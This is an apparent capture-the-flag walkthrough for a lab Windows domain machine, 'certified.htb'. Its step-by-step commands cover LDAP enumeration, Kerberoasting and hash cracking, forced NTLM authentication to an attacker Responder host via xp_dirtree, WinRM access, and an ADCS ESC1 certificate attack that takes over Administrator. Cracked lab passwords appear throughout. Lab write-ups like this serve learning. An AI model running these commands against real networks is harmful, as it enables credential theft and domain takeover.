Skip to content

OverCertified

Network recon

sudo nmap -T4 -A -v -o nmap --min-rate 1000 10.129.229.25 -Pn

Multi-protocol recon 

enum4linux-ng -A 10.129.229.25

We have anonymous LDAP access

LDAP Enumeration

Get users: 

ldapsearch -x -b "DC=certified,DC=htb" -s sub "(&(objectclass=user))" -H ldap://10.129.229.25 | grep -i samaccountname: | cut -f 2 -d " " > users.txt
Validate users: 
kerbrute userenum -d certified.htb --dc 10.129.229.25 users.txt
All users but guest are valid + all users require preauth for tickets requests. Getting users descriptions 
nxc ldap 10.129.229.25 -u '' -p '' -M get-desc-users
We get a password

Lateral Movement to MSSQLSERVER

Lets check for users with SPNs set 

ldapsearch -x -b "DC=certified,DC=htb" -s sub "(&(objectClass=user)(servicePrincipalName=*))" -H ldap://10.129.229.25 | grep -i samaccountname: | cut -f 2 -d " "
user is kerberoastable! 
impacket-GetUserSPNs -dc-ip 10.129.229.25 certified.htb/ldapusr:'ldapisfun' -request-user MSSQLSERVER
Try to crack the hash 
hashcat -m 13100 mssqlserver.hash /usr/share/wordlists/rockyou.txt

MSSQLSERVER:lucky7

MSSQL Enumeration

nxc mssql 10.129.229.25 -u 'MSSQLSERVER' -p 'lucky7' -q 'SELECT name FROM master.dbo.sysdatabases;'

impacket-mssqlclient MSSQLSERVER:'lucky7'@10.129.229.25 -windows-auth

We enumerate stored procedures and tables, we find out we can't run xp_cmdshell to get RCE. We can run xp_dirtree for force auth. Start responder: 

sudo responder -I tun0
Trigger auth: 
xp_dirtree \\10.10.14.4\test
Lets try to crack the NTLMv2 hash 
hashcat -m 5600 thomas.hash /usr/share/wordlists/rockyou.txt

thomas:159357
we have access with winrm 
nxc winrm 10.129.229.25 -u thomas -p '159357'

evil-winrm -i 10.129.229.25 -u thomas -p '159357'
after grabbing the user flag and poking around, i decided to run bloodhound 
sudo bloodhound-ce-python -u 'thomas' -p '159357' -ns 10.129.229.25 -d certified.htb -c all
We see thomas has inherited access to the CERTIFICATE SERVICE DCOM ACCESS group. This makes me think the priv esc is an ADCS misconfiguration

Administrator

Use certipy to find vulnerable templates 

certipy-ad find -vulnerable -u thomas -p '159357' -dc-ip 10.129.229.25
We see this template is vulnerable to ESC1 Lets collect what we need for ESC1: Template name, CA, target domain.

we can build our pfx request targeting the administrator user 

certipy-ad req -u thomas -p '159357' -dc-ip 10.129.229.25 -template Auth -upn Administrator@certified.htb -ca CERTIFIED-CA -target certified.certified.htb
We can either use the pfx directly with nxc: 
nxc smb 10.129.229.25 --pfx-cert administrator.pfx -u 'Administrator'
OR use certipy auth to get a TGS and NTLM hash 
certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.229.25
and use that to auth.